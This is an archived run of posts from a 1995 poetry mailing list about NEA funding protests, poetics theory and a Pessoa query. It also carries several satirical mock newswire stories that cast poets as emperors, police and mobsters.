Gosh spencer, I was replying to Jeffrey Timmons! No wonder you thought I'd missed the context of your reply to me, as I'd missed the reply altogether.

tom

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26. Steve Evans
Re: freely espousing
Sat 4 Feb 1995

Dear Bob,

Just a quick note to wish you luck with Saturday's event. Jen and I were happy to learn of it and we read you op-ed piece with interest.

Please let us know how it comes off (and I'll have my dad, who lives in S.Jersey, look for coverage on the local news).

We're faxing a 4-6 pp. piece on Freely Espousing to Poetry Flash late Sunday night, so if you have any information about your event that you'd like us to include, get in touch with us & we'll try to work it in. (This piece is pretty basis: After a rousing few words we'll be providing accounts of what happened in various places, stressing how such actions are relatively easy to organize, etc.).

Again, we wish the best to yourself, Susan Stewart, and Gil Ott. May the skies cooperate!

Yours,

Steve Evans

p.s. Have you seen the Douglas Davis article on NEA/NEH in the current *Art in America* ("Multicultural Wars," Feb 1995: 35-45)? I just read it this afternoon & found it pretty useful, especially in its emphasis on the pitfalls of "conciliation."

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27. Spencer Selby
Re: reified names vs. boundless vocabulary
Sat 4 Feb 1995

Dear Tom, Excuse my blunder. Yr post was not addressed and it seemed you might be talking to me, or maybe both of us at the same time. I guess I was butting in without knowing it. I do have an interest in what you're saying to Jeffrey, and a disagreement, I'm afraid. I would say theory is, as such, no more positive in getting the work going than it is with understanding. In both cases it is a double-edged sword, just as dangerous or potentially destructive as it may be beneficial. Anything that attempts to ask or answer yr question (about adding space for poetry) is certainly a response, but whether that anything is successful, or more helpful than dangerous or destructive, is very much open to question. Formulated theory or knowledge may play a large or small role in an individual's creative life. Whatever the role, it is up to the individual, who cannot look to others for answers about this which may be necessarily correct. That's my reaction to yr most recent message to Jeffrey. Despite my disagreement, it struck me as quite interesting and provocative. Yr words are never blah blah blah to me. Which may be why I keep butting in. Yrs, Spencer Selby

On Fri, 3 Feb 1995, Tom Mandel wrote:

> *Gosh spencer, I was replying to Jeffrey Timmons! No wonder you thought I'd missed the context of your reply to me, as I'd missed the reply altogether.*
>
> *tom*

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28. Bob Perelman
instant up-to-date info on NEA
Sat 4 Feb 1995

It's 7:15 Saturday morning, the day of the Philly NEA event, and there's a foot of snow--"It was snowing and it was going to snow," as they say. Everything downtown's shut down. Before starting resceduling phoning, I need to know--

will an event next Saturday (11th) still have an effect on the legislative process? What exactly is happening in DC? When are hearings/votes scheduled? Whoever has info and is up reading e-mail PLEASE let me know as soon as possible. Thanks!

Bob Perelman

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29. FUNKHOUSER CHRISTOPH

Anti-Hegemony Project

Sat 4 Feb 1995

> *Subject: Poetry Emperor Tours Disaster Area*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 1 Jan 99 00:01:00 EST*
> *Priority: negligible*
>
> *Lines: 77*
>
> *BUFFALO (AHP) -- Three weeks after a newspaper editorial caused widespread devastation to the Poetics Program, poetry's emperor and empress paid a one-day visit, clasping hands with disputants congregating in bars and classrooms. Some wept as they spoke with the royal couple.*
> *``You've suffered a great deal,'' Emperor Keith said at his first stop, a bar-and-grill-turned-poetry-establishment outside the hard-hit city of Amherst. ``Please take good care of yourselves.''*
> *Clad in a ski jacket and a turtleneck, the emperor walked among the students and teachers, shaking hands with some and exchanging a few words with others.*
> *``Please hold onto your hope,'' Empress Rosmarie told the*
>
> *---More---*
>
> *Group bleari.nooz.disaster available: 1492 - 1776 unread: 13*
>
> *article 1500 14-FEB-1999 06:00:00*
>
> *crowd.*
> *At a benefit reading for victims of another disaster the emperor knelt on a sticky floor among cigarette butts to speak with poets. They bowed deeply and repeatedly to him, and he inclined his head as he listened.*
> *Spontaneous contact with ordinary people is relatively common*

for the imperial couple, even though they spend most of their time at highly orchestrated ceremonial events in France, or cloistered in their book-strewn winter palace at Providence, Rhode Island.

One student said she felt gratified by the visit, and was thrilled when the empress touched her hand. ``I feel overwhelmed,'' she said. ``That gave me courage to do my best to get over this hardship.''

The imperial couple was spending eight hours in the troubled area, shuttling by Ford Taurus from site to site. Several dozen disputants have been affected by the controversy.

In a city where the royal family usually receives velvet-glove treatment from the gossipers, not much open criticism has been heard about the trip's timing -- three weeks after the Poetics Program's

---More---

Group bleari.nooz.disaster available: 1492 - 1776 unread: 13

article 1500 14-FEB-1999 06:00:00

newest controversy.

A speedy visit would have been a break with precedent. The emperor took much longer than three weeks to visit San Francisco in 1985 after a book-review triggered a tidal wave of angst affecting far greater numbers of people.

In general, the Paris/Providence bureaucracy was slow to recognize the seriousness of the editorial, and the Imperial Household Agency, which runs the royal family's affairs, might also have underestimated the scope of the disaster.

The palace dispatched Crown Prince Gizzi and Crown Princess Willis on a Southern California tour three days after the quake. Following oblique criticism, the pair cut short their trip and returned to Rhode Island.

And the emperor's visit was scheduled only after reports said Pennsylvania's Father Taggart wanted to inspect the damage next week.

It wasn't known whether the palace was worried about the emperor's visit being greeted with indifference or even hostility. When Minister of Education Susan Howe fled from the confrontation,

---More---

Group bleari.nooz.disaster available: 1492 - 1776 unread: 13

article 1500 14-FEB-1999 06:00:00

rumor had it that other Cabinet Ministers shouted angrily at her.

Buffalo's commericial television station [redacted], which has had extensive live coverage from the damage zone during the past three weeks, did not carry the emperor's arrival live. A network executive said this was because the visit did not coincide with any regular news programming.

And the imperial visit generated little excitement in advance among participants in the controversy, who are coping with daily discomfort at home and in the classroom.

``It may make some people here happy, but I'm too busy just getting by day to day,'' said shivering graduate student Joel Kuszai. The temperature had plunged to just below freezing overnight and snow was expected over the weekend.

The number of injured stood at 4. Several other people were reported missing. The majority remained bemused or unaffected. More aftershocks rattled the region last Wednesday, including one with a magnitude of 4+.

Explanations are lacking for the spate of flareups, but some have found fault with the absence of chicken wings at recent events.

---More---

Group bleari.nooz.disaster available: 1492 - 1500 unread: 13

article 1500 14-FEB-1999 06:01:00

In Clemens Hall, deconstruction crews continued putting the program's infrastructure back together -- piece by piece. Yesterday, a disconnected modem line from Buffalo's outskirts into the nerve center of the university started running. Officials expected it would take five or six months to get the entire network humming.

``Our biggest concern now is that people will lose hope,'' said Jena Osman, the local official responsible for one of the recent benefits. ``The emperor's visit may help boost morale.''

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30. Tom Mandel
dissembling and fakery
Sat 4 Feb 1995

My pessoa query reached me chained to some other messages; software problems on the buffalo host, I guess. In case it went by potential responders:

> "Re: ERic Pape's "...spirituality cannot be faked,
> only shared," I'm having trouble laying hands on
> the Fernando Pessoa poem which begins (something
> like) "The poet is a faker...." Does anybody know
> this poem? It's only a handful of lines long,
> and if one of you cd quote it to the list, I'd be
> grateful. If not, I"ll find it sometime in the
> next week or so and pass it along when I do."

tom mandel

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31. eric pape
Re: reified names vs. boundless vocabulary
Sat 4 Feb 1995

Pound: A work of art, any serious work vivifies a man's total perception of relations. Maybe we need to broaden our definition of theory to "a man's total perception of relations." Just a thought, a gesture towards an imagined point of opening. Thanks, Eric (enpape.lsuvm.sncc.lsu.edu)

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32. Carla Billitteri
the future of poetry (forwarded)
Sat 4 Feb 1995

> *Subject: Albany Summit Could Aid Peace*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 31 Oct 99 12:01:00 EST*
> *Priority: medium or less*
>
> *Lines: 63*
>
> **An AHP News Analysis*
> *ALBANY (AHP) -- A planned show of unity by experimental and political poets of different generations, designed to dispel fears that extremist positions have killed the thought process, may bolster sagging images at home.*
> *But as leaders from Canada, Buffalo, Providence and other*

communities gather for a summit in Albany, their ability to stop the discord is in doubt.

Sarcastic sniping by poetic militants has shattered belief in coexistence between the camps and generations.

For Canadian poets, the planned peace agreement is a disappointment because it has failed to deliver a full endorsement of Canlit.

---More---

Group bleari.nooz.peace available: 1933 - 1945 unread: 0

article 1945 24-DEC-1999 23:59:00

For dissident Buffalonians, making peace has not realized dreams for a better job market and intellectual independence.

What the disputants hope to accomplish in Albany is mostly to revitalize the image of the thought process and supply some momentum. As the pivotal leaders in the coalition, Albany social planners Chris Funkhouser and Belle Gironda will be called on to try and push forward the stalled negotiations between experimental and political poets.

``What's needed is some new spirit injected into the process. We need to show those who say the process has exhausted itself that it still has a lot of life,'' said Chris Stroffolino, an Albany spokesman.

Others disagree. Albany participant Jill Hanifan has in effect sought to freeze the expansion of autonomy, demanding a meaningful effort by New Yorker Sandy Baldwin to curb his irony. She also hopes that Washington and Providence will help persuade the others it is time to crack down on those who would criticize the sincere efforts of poets like Jimmy Carter.

Buffalo poet Nick Lawrence may get a better-than-usual hearing for his "just gaming" plea because the fundamentalists who want to spread their mantle over the entire region are also targeting poets

---More---

Group bleari.nooz.peace available: 1933 - 1945 unread: 0

article 1945 24-DEC-1999 23:59:00

with senses of humor.

But Providence leaders say expectations that the Poetry Project can influence militants are unrealistic.

``We cannot stop the sarcastic sniping. Even academic communities could not stop such attacks,'' Lee Ann Brown, the Providence minister of community affairs, told The Anti-Hegemony Project.

The only solution, she argued, was unfreezing subject matter restraints and extending Poetics Program funding to the East Village.

``How can St. Marks' authority be strong in fighting extremists and isolating them while its people and institutions are separated between the Left Coast and downtown'' she said.

Rod Smith wants religious extremists to lift the closure imposed on discourse after the two mail bombings that left writers on both sides of the generational divide stunned.

Jed Rasula, Chief Mullah from Kingston, said for many, ``We are all fish in an aquarium -- politics is the water we swim in.''

But New York City participants complain that the Buffalo imprimatur gives an air of legitimacy to the flow of babble claiming

---More---

Group bleari.nooz.peace available: 1933 - 1945 unread: 0

article 1945 24-DEC-1995 23:59:00

valuable bandwidth and attention. They note that several Providence and Albany poets cheered the recent mailings, and Buffalo staffers did not publically condemn the attack.

The impact on the poetry community has been far-reaching, and Buffalo is facing a crisis of credibility that for the first time is prompting calls for an embargo on funded publications.

``The real question is ... whether poetry will collapse and when,'' Douglas Rothschild wrote in an editorial column in the liberal Poetry Project Newsletter.

Others took a more sanguine view. ``I've been reading and writing in near-isolation for over twenty years,'' declared Albany's jovial patriarch Charles Stein. ``I think I'll head over to the diner and relax.''

EDITOR'S NOTE -- Guantanamo Bey, AHP Chief of Bureau in Toronto, has covered the New Coast since 1993.

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33. George Bowering
Re: Re- the real language po
Sun 5 Feb 1995

Well, my wife's name is Angela Luoma,
and I am here to say that she's the real Luoma.

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34. George Bowering
Cienfuegos
Sun 5 Feb 1995

I cant remember the details of the context in whixh Cienfuegos made his sharp comment on revolutionary art. I read an account in a Mexican newspaper (this a short time before C.'s plane disappeared), and I do remember that the contxt (for the newspaper story) was that Cienfuegos seemd to have Fidel's ear, and the hope was that the CP would not come along and impose its usual ban on Freud, surrealism, etc. I should have been a auto-clipping service at the time.

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35. George Bowering
Re: the future of poetry (forwarded)
Sun 5 Feb 1995

Phew!
Canada as a community on a par with Buffalo or Providence!
That feels great!

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36. Ron Silliman
Re: Still Espousing
Sun 5 Feb 1995

Rae wrote:
> The newspaper here (The Union) did do a nice article on the Espousing
>event.

What did they say? How did they frame the occasion? Has Cole or anyone talked w/ Cunninham's office yet?

Ron Silliman

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37. Ron Silliman
Re: Re- the real language po
Sun 5 Feb 1995

George Bowering wrote:

> *Well, my wife's name is Angela Luoma,*
> *and I am here to say that she's the real Luoma.*

But can she play second base?

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38. Carla Billitteri
Leaving the Rat Race Early
Sun 5 Feb 1995

> *Subject: Leaving The Rat Race Early*
> *Keywords: Lang-Po, Gerontology*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 21 Sept 99 14:92 EST*
> *Priority: advanced*
>
> *Lines: 104*
>
> *WASHINGTON, D.C. (AHP) -- Six year ago, Tom Mandel swore off poetry readings, tossed aside his notebooks and abandoned the tedious job of keeping up with the output of his peers.*
> *The Lang-Po Executive, then 45, left the rat race while still in his prime to become a post-literacy volunteer, tutor disadvantaged kids by e-mail, and perhaps run for local office. (Yes, he even took up rolfing.)*
> *``I started with the project when I was in my 30s; put in 15 years, maybe more'' said Mandel, who lives in Washington, D.C. with his wife, also a poetry executive. ``I'm really involved in community affairs now, more than ever before.''*
>
> *---More---*
>
> *Group bleari.poetry.biz available 1945 - 1960 available: 0*
>
> *article 1960 1-DEC-1999 10:10:10*
>
> *Mandel is among the tens upon tens of poets to take advantage*

of early retirement packages offered by cost-cutting poetics programs over the last decade.

This work force streamlining has helped lower the average retirement age for poets to around 50 today -- ten years younger than thirty years ago and seven years earlier than what was long considered the typical ``pulitzer'' age, said Lorrie Gramm, who runs Gramm Crack Poetics Advisers in Iowa City, Iowa.

These statistics are even more startling considering the death-rates of poets in the 1950s, '60s and '70s due to ``lifestyle'' demands, such as drink, drugs and suicide.

But Gramm and other experts believe the trend is reversing. By the next century, many aging baby boomers -- who comprise a third of the poetry-writing population -- will have to work longer because fewer institutions will offer early buyouts and many will have eliminated traditional writing programs altogether.

Although more than half of all poets hope to retire before age 65 -- 55 percent, according to a 1997 _Sulfur_ magazine poll -- most will lack the intellectual wherewithal to get by on their own.

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Group bleari.poetry.biz available: 1945 - 1960 unread: 0

article 1960 1-DEC-1999 10:10:10

In fact, Gramm said, by the year 2025 only half of all people ages 60 to 65 will be able to quit writing, compared with 95 percent now. By 2050, only 5 percent can reach that goal, she said.

Gramm says she's seen a recent increase in baby boom clients coming in with dreams of beating the odds.

``I don't sense from people that they are happy. They are tolerating the poetry because they need to keep their minds off their other troubles,'' she said.

Younger writers too are thinking ahead.

Jessica Grimm, 35, an ``experimental writing'' executive, survived a San Francisco restructuring a few years back. Although she feels secure in her new locale and enjoys her work, she isn't counting on being there until 65. With a goal of stopping by age 50, she contributes the maximum pages permitted to a company-sponsored, crit-deferred letter writing program, and invests heavily in journal notes.

``I don't think you can plan on having a 30- or 40-year career,'' the Oberlin poet, editor and librarian said. ``Even if you can, most poetry movements have passed the responsibility for

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article 1960 1-DEC-1999 10:10:10

thinking ahead to the individual writers.''
Mandel's is almost a textbook example of early retirement at its best: Tom and his wife Beth Josselow, herself a published poet, rest comfortably on the reputation of books published by Tuumba, Burning Deck, GAZ and Coincidence Press, amongst others. His inclusion in one of the two major Lango-Po anthologies insures his ability to sound off on a wide variety of poetic and theoretical topics for years to come.
That leaves Mandel free to take up rolfing, fool around on the internet -- and sell computers.
To maintain their self-images, most poets need to publish at least two books with ``big'' houses -- or with highly regarded small-press houses. Anthologies, awards and teaching appointments also help. But many experts believe that by the next century, with fewer perks to go around, individuals will have to fend for themselves, seeking meaning in the activity itself.
``During NEA mania in the '70s, some poets canceled traditional career building ... in favor of defined contribution plans like the Associated Writing Programs,'' said Stephanie

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article 1960 1-DEC-1994 10:10:10

Rhodes-Hoper, director of the Gerontology Center at New Mexico University in Albuquerque, New Mexico.
Rhodes-Hoper believes the NEA and other grant programs will be around in the future, but ``there probably will be some jockeying around of benefits.''
Individuals who regularly set aside work for retirement, either through a diary of some kind or an Unpublished Manuscript Account, will withstand these changes the best, said Allen Ginsberg, a financial consultant in the New York area.
Unfortunately, he noted, most people don't. A recent survey by the accounting firm of S.P.D. found 75 percent of all

poetry movements with at least 6 participants offered ``collaborative writing'' and other retirement programs last year, but only a small percent of eligible writers participated. What's more, the average poet contributed only half the maximum amount allowed.

``The odds are you're going to live quite a while into retirement. If you don't plan for it now, you just better ... hope you die before you retire,'' Ginsberg said. He echoed some of the warnings used by many poetry analysts to get people to write for

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article 1960 1-DEC-1999 10:10:10

retirement.

Ginsberg says early retirement can be achieved by many, although individuals need to start planning in their 20s and 30s.

``Early retirees make a lot of sacrifices during their writing years. They consciously decide to not save 10 percent of their writings but 20 percent,'' Ginbserg said.

Gramm says early retirees of the future may decide to write part time, either because they enjoy writing or need the extra attention. ``This is sort of a middle ground,'' she said.

Such was the case with Ed Dorn, of Boulder, Colorado. Since taking early retirement from Rolling Stock Corp., Dorn, 65, started a small muckraking business. He's busy around hunting season, but the rest of the year he makes his own hours, reading out-of-date history books and picking fights with neighbors down the road. He has no complaints.

``I'm doing the things I like to do,'' Dorn said. ``Those lazy flower children and their punk-rock spawn can go hang, for all I care.''

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39. Nick Lawrence

Tough Cops

Sun 5 Feb 1995

> *Subject: Tough Cops Look For Trouble*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 25 Dec 99 00:01:00 EST*
>
> *Lines: 95*
>
> *BUFFALO (AHP) -- Ken Sherwood and Loss Glazier are trolling the desolate streets of Buffalo, trying to decide whose pockets to poke, whose socks to stretch, which kid to search.*
> *Since it's snowing heavily on this particular night, the Poetics Program cops have few choices. No matter. Even the two men shoveling the sidewalk seem suspicious.*
> *``They want this clean 'cause they've got something going on,'' says Glazier, 37.*
> *Glazier and Sherwood, 26, are two members of an elite, 20-member unit known as the Core Reserve, a force with broad powers to look for proscribed books and papers in the possession of suspicious characters.*
> *Their aggressive techniques are being echoed by poetics*
>
> *---More---*
>
> *Group bleari.rime.organized available: 18 - 25 unread: 1*
>
> *article 24 26-DEC-1999 12:12:12*
>
> *programs nationwide. They stop and search with virtual impunity. They finger e-mail accounts and ask girlfriends and boyfriends to let them rummage through desks. They hold meetings with the students and faculty. They stop cars in the parking lot, feel under dashboards, frisk occupants.*
> *Just what counts as proscribed materials is uncertain. No matter.*
> *``Now, this area down here, we got a lotta Olson,'' says Glazier, tour guide in hell. ``This next set of offices, we get a lot of performance-oriented stuff, screaming and such-like.*
> *``There was a guy up here who people say kept his poetry up his rectum,'' he says, very matter-of-factly. ``One day we found him strangled with his pants off and his legs up in the air. We assumed the poems had been removed.''*
> *The car coasts to curbs alongside earnest-looking youths trudging in the snow. A searchlight blinds them, sometimes bouncing off the glossy covers of university press paperbacks the police say*

are badges of ganghood.
``You get a guy with four or five books and he starts

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article 24 26-DEC-1999 12:12:12

running, he's going to automatically cling to himself and hold that pile while he runs,'' says Glazier. ``We call it the book run.''
The officers check purses, disc-containers, sports jackets and long droopy cardigan sweaters. They poke fingers inside gloves. Nobody complains. ``You know what it's about,'' Glazier tells a boy.
Sherwood gestures at a house. ``We got three contraband books out of there. Girls let us in.''
``Four books,'' corrects Glazier. ``The women were very cooperative, but the rest of the family were upset the poetics police were taking their books and stuff. It was a nice little seizure.''
It is 9 p.m., three hours into the shift, and another two-man team has found a slim volume during the search of a man who was wearing a ski mask in the falling snow.
The bearded, friendly man turns out to be a watchman at a warehouse that houses chicken wings and bleu cheeze for visiting poets. And he's a former student of Robert Creeley's. But he doesn't have a permit for the book. He's under arrest.
The officers ask if he'll sign a release-for-publication

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form, essentially a waiver that exempts the police from liability. He has agreed.
Inside the man's clean, modest rooms, the police find an old John Wieners book, a dog-eared copy of The Colossus, a Bob Dylan biography, a lot of anthropology books and a powerful computer.
``I don't have nothing to hide,'' he says pleasantly. ``I'm an ordinary person. Not too smart. I don't even have a modem.''
Glazier and Sherwood are hardly back on the road when word comes that another team has found a couple of kids with a manuscript as they left a house with a reputation for "Lang-Po" sympathies.
The eldest, 30-year-old Nick, was carrying The Cultural

Studies Reader and a Bob Perelman book. The police figure Nick's companion, 25-year-old Alan, has his own books at home.

They go to Alan's house nearby. The girlfriend comes to the door. ``Oh my God,'' she says to the three uniformed cops.

Sgt. Tedlock, the supervisor who's called in to handle this part, smoothly delivers a well-practiced pitch.

``We wanted to let you know he's walking around with a kid who's got The Cultural Studies Reader and he was coming out of a

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known Lang-Po den,'' he says.

``We're not going to arrest him,'' he says, setting up the offer. ``Here's what I'm going to do.''

The conversation takes place as the woman walks back up the stairs, implicitly but not directly seeming to invite the officers to follow along. Soon, everybody is up at the top of the stairs, in the living room, a corner of which is the boy's study.

Tedlock, eyeing the packed and wobbly bookshelf, tells her the police just want to look around, see if there's any contraband material. The woman can watch them. Nobody will be arrested.

He holds out the release form. Everyone waits as the girlfriend anxiously ponders it.

``I know he doesn't have a manuscript in here,'' she stammers. ``At least not a bad one.'' She seems to be weakening when her boyfriend, giving her the eye, interrupts with a well-placed ``Kristen. ...''

Tedlock tells the boy not to interrupt, but it's too late. The woman says no. The cops get terse, telling her the boy is bound for trouble.

---More---

Group bleari.rime.organized available: 18-25 unread: 1

article 24 26-DEC-1999 12:12:12

They leave. Alan grins.

``I'll bet the farm there's Lang-Po in that house,'' Glazier, frustrated, says outside. ``He knows it, she knows it.''

``Or that New Spirit stuff,'' adds Sherwood.

``Yes, that was a suspicious looking setup,'' reflects Tedlock,

> *staring up at the snow. ``Mighty suspicious.''*

↑ Index

40. Ted Pelton
Use da news 2
Sun 5 Feb 1995

I was happy to see Bob Perelman's Philadelphia Enquirer op-ed. I think that op-ed pages may be as good a tool in this fight as contacting congressmen directly. I've heard many like to sustain their illusions of *fingers on the pulse* through hometown papers.

This is my column from the Milwaukee Journal, Friday, January 13:

With the recent swing in Congree back toward Reagan-era conservatism has come a new attempt to eliminate the National Endowment for the Arts.

The NEA's budget isn't large, but its critics argue that any amount the government spends on the arts is too much, that funding the arts is not a legitimate function of government. Gingrich, Helms and others make this argument despite the examples of other major world governments, nearly all of which make funds available to support art and artists, many at much higher levels than the U.S.

This simply highlights the fact that the main reason conservatives want to stop funding the arts is not to save money nor to keep government's purposes pure. It is because new art is ultimately very dangerous to a conservative world-view. Discouraging the production of non-commercial art in this country is consistent with other aspects of the conservative social agenda: school prayer, limiting women's reproductive freedoms, increasing the amount of capital in the coffers of America's richest citizens. The arts produce work that is often far too critical of such a social agenda to make many friends on the Right. These lawmakers want to silence voices of dissent.

Wisconsin Senator Russ Feingold sees their attempt in the proper perspective, as censorship. I wrote him and several other Wisconsin lawmakers in the past few months to urge they support thet NEA. Feingold responded, "I believe, as a free society, we need to protect diversity and encourage the exchange of ideas. I regard some recent attempts to cut funding for NEA as attempts at censorship, and at silencing one part of this discussion."

This position is consistent with the principles upon which the NEA was founded. At the inception of the NEA in 1965, Congress issued a defense of why governments should fund the arts. In part, it read: "The world leadership

which has come to the United States cannot rest solely upon superior power, wealth, and technology, but must be solidly founded upon worldwide respect and admiration for the Nation's high qualities as a leader in the realm of ideas and of the spirit."

It also read: "Democracy demands wisdom and vision of its citizens. It must therefore foster and support a form of education, and access to the arts and the humanities, designed to make people of all backgrounds and wherever located masters of the technology and not its unthinking servants."

The NEA is most often reported in the press for scandals involving funding of controversial artists, such as the flap involving late photographer Robert Mapplethorpe a couple years ago. But its programs support the arts in local communities as well. This occurs both in terms of aiding local artists (individually or through local arts organizations) and in such things as helping fund performances by nationally known artists. In my own area, I think of the readings at Milwaukee's Woodland Pattern bookstore, for example; poets and fiction writers of national stature would not regularly give readings to small audiences in Milwaukee, as they do today, without the NEA. For people in your district, it might be the local orchestra or theatre, a travelling opera or ballet troupe.

I confess I am not a disinterested observer of this issue. Last year I was awarded an NEA Literature Fellowship. I take the grant seriously, as an investment in my talent, and I hope my future work merits this investment. The myth of the artist whose vision remains pure despite economic difficulties is bogus; economics do force artists to quit making art and start making money. I was close to giving up fiction writing when I received funding.

But I had also benefitted as a citizen from the NEA for years prior to winning this fellowship. I had attended NEA sponsored readings, theatre and concerts; I had read writers and seen work by artists who had their own careers supported by the NEA; I had enjoyed the benefits of local galleries and performance spaces which exist with the support of the NEA. I happen to enjoy art that isn't commerical, that wasn't created to make money. But even people whose interest in art extends no further than enjoying Hollywood movies should realize that even commercial artists owe a debt to serious, non-commercial art. Art not made for money takes more risks, taps more untouched stores of imagination, and often introduces the ideas and images that mainstream artists develop for more popular tastes. We all benefit from the NEA.

Art also can provide us with morality of a sort different than the Right defines it. Not simply indulging in tired pieties, serious art, when critical of our institutions and our daily practices, can serve as the bell-ringer to wake up our

national conscience. Funding the arts helps foster voices of dissent, a necessity in a healthy democracy.

But Helms, Gingrich and company aren't interested in good art or healthy democracy. Nor is my congressman in Sheboygan, James Sensenbrenner. He has voted to eliminate the NEA for the past four years. He cites the same old cost arguments as the others. But money is a cloak over the real issue: the critics of the NEA want to promote their own set of cultural values while discouraging debate and critique. If money was the only issue, we would naturally expect Republicans to subject far more expensive weapons programs to the same cost-conscious scrutiny as they do the arts.

For my part, I'd rather that someone abroad knew about my country because of American novels than because of American war technology.

Ted Pelton

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41. Tom Mandel

Re: reified names vs. boundless vocabulary

Sun 5 Feb 1995

Spencer,

I didn't think you'd butted in, not at all. Just wanted you to know I wasn't responding to something you'd articulated. There is no 3d position, outside the relation of person to what that person thinks, writes, reads, that can tell you if something is useful or not. The test is simple; if it's useful then it's useful. I.e. if an idea is provocative and allows one to work or enhances work, makes a new space for work then it's of interest. My caveat re: the Apexites (last mention) was that I was waiting for the impact of their ideas on work they'd do. Period. Natch, I have my own version of whther that's likely to be a positive impact, but that measures only its impact on me. After all, everybody knows I"m interested in _spirit_ (whatever that is), only they faiiled to mention what kind; in my tradition there are 3 forms of spirit. And even this line of thought, I take to be an attempt to articulate and render a little more subtle the Xtian notions taken over from a rather simple-minded roman _paganism_ (no bettre wrod comes to mind), which is how you get humans who are also divine, virginity as a cool positive value in the religion, and other affairs of _spiritual_ value in that tradition which are to me... oh, I dunno would vulgar

and primitive be acceptable words? Not to step on
any toes or anything.

that whole paragraph shd have some keyboard graphic for
tongue in cheek and serious at the same time, what my
father (sleeping with all of them tonite, in peace) used
to call _ribbing on the square_ (no doubt a westside chicago
piece of 1920's lingo).

no one has the pessoa citation at hand? Lots of books at
Buffalo...

Shd we discuss the 3 kinds of spirit in the Jewish intellectual tradition?
how'bout it Spencer?

tom Mandel

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42. Belle Gironda

A Fish Story

Sun 5 Feb 1995

> *Subject: Poetics Program Targets Big Fish*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 21 Mar 99 12:00:00 EST*
> *Priority: Code Blue*
>
> *Lines: 58*
>
> *AMHERST (AHP) -- Cabinet Ministers for the Poetics Program want the poetry ``mafia'' to give up more than 6 years of control over the bustling, pungent stalls of the nation's largest ``fish market.''*
> *Minister of Foreign Policy Robert Creeley announced plans for the "Wednesdays at Four Plus" commission to better regulate and investigate poets and critics doing business with the Poetics Program.*
> *``New York mayor Rudolf Giuliani's plan for Fulton Fish Market gave me the idea,'' said Creeley, who declared an emergency meeting of the Poetics Program to unveil the plan. ``The association was natural -- fish, Olson, poetry, Buffalo ... it's your classic mob situation.''*
>
> *---More---*
>
> *Group bleari.nooz.rime.organized available: 5000 - 6000 unread: 50*
>
> *article 5050 1-APR-99 18:00:00*

He and the other cabinet ministers hope to clean up what many say has become a dangerous place for those who love poetry.

``This has nothing to do with `Language Poetry','' said Economics Minister Charles Bernstein, ``despite what everyone has been saying.''

``It's that damned old boys network,'' says Education Minister Susan Howe. ``Not that I have anything against old boys. But enough's enough.''

The size of the market has shrunk in recent semesters from approximately 50 people a reading to only 5 or 10.

``Students do not attend because they fear the readings are only payback for favors,'' said a smiling Raymond Federman, newly appointed Ambassador to France, a cabinet level position in the current administration.

Some poets say New York's Segue family uses its control over students at the university to impose a monopolistic ``tax'' on discussion driving many to do business at other markets on the Eastern Seaboard.

The allegations have never been substantiated.

---More---

Group bleari.nooz.rime.organized available: 5000 - 6000 unread: 50

article 5050 1-APR-1999 18:00:00

The ``fish market,'' nestled among windswept concrete structures built on landfill in the early 1970s, is instrumental in the processing of some dozen literary events a semester. These events are linked to book sales and course offerings.

In the early 1990s it was taken over by Robert ``Books'' Bertholf, a fish handler who oversaw day-to-day operations in the market.

The market soon became a powerful center of rumored cronyism. Recently, the market moved to a new Arts Center, which some call a colder and grayer site.

Yet business is booming. This semester boasts more literary events than ever.

Under the new proposal, the market would be managed by the "Wednesdays at Four Plus" commission, which would set rates and procedures for the market and impose fines for rules violations.

> *All poets operating in the market would have to be licensed and registered. The commision would have the power to deny licenses to anyone it deems unfit to do business.*
> *``But what constitutes a legitimate poet?'' wondered Charles Bernstein. Such questions remain to be worked out by the*
>
> *---More---*
>
> *Group bleari.nooz.rime.organized available: 5000 - 6000 unread: 50*
>
> *article 5050 1-APR-1999 18:00:00*
>
> *commission.*
> *Finding answers for these questions excites some ministers and worries others. ``Anything could happen,'' beamed Raymond Federman.*
> *A dour Dennis Tedlock, Minister of Former Colonies, wasn't so sure. ``Fish? The market is um, a sort of metaphor. People eat fish and study them ... there might be other ways we haven't tried to make ... friends with the fish.''*

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43. Jeffrey Timmons

Re: Spencer's gauntlet, etc.

Sun 5 Feb 1995

On Thu, 2 Feb 1995, Spencer Selby wrote:

> *Poetry/art has its own level, and whatever it is or may be, it is not the same as theory or criticism or writers' discourses or internet exchanges. This view may strike some as extreme, simplistic or old-fashioned, but I think it's dangerous when artists or critics start saying (or building contexts in which) their discourse is on the same level as the art.*

Why?

Jeffrey Timmons

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44. Jeffrey Timmons
Re: Re- Re- CALL FOR A DECIS
Sun 5 Feb 1995

On Thu, 2 Feb 1995, BLUOMA wrote:

> *Lately, I've been staring at high tension towers to get "inspiration."*
> *I've even taken to rendering them in photoshop. I can't articulate why*
> *I'm obsessed with power lines, but it/they continue to drive the work.*
>
> *Perhaps this tack is too individualistic to have meaning to a large group.*
> *But I am more interested in learning new methods of doing good work--*
> *how to get new obsessions--than in discussing the correct way to write.*
>
> *I'd be curious to know what motivates others.*

It's odd what strikes one isn't it? For me, among a host of "things," old boxes, pieces of twisted and rusted metal I find along the rail road tracks by my house, the sound of the hummingbirds, grackles, doves, sparrows, and mockingbirds intermingling, the terrible noises I can make with my computer's sound processing software or my guitar . . . these things turn up in my writing in various ways and without trying to reduce any of the plurality of the different expressions to single subject I would hazard that there is some shared set of concerns in each. The idea of place--"The most in time is where you're meant to be"--has been of vital importance lately, trying to document the sense of being in a particular location; this takes its form in music by recording the sounds of a space of time--whatever happens in that time--and then layering these into juxtapositions of moments. This has the benefit of inspiration and of craft. I'd be excited to share some of these experiments with anyone, were they interested (send snail address). Anyway, I thought the question a good one as it raises the nuts and bolts (and philosophical attitudes) of work and would like to continue with this ... but I've got to go now. I'd like to take this to writing....

Jeffrey Timmons

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45. Jeffrey Timmons
Re: reified names vs. boundless vocabulary
Sun 5 Feb 1995

> *Bla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla hblah*
> *bla hbla hbla hbla hbla hbla hbla ENGAGEMENT hbla hbla hbla hblah*
> *bla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla hbla*

>
Jeffrey Timmons

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46. Jeffrey Timmons
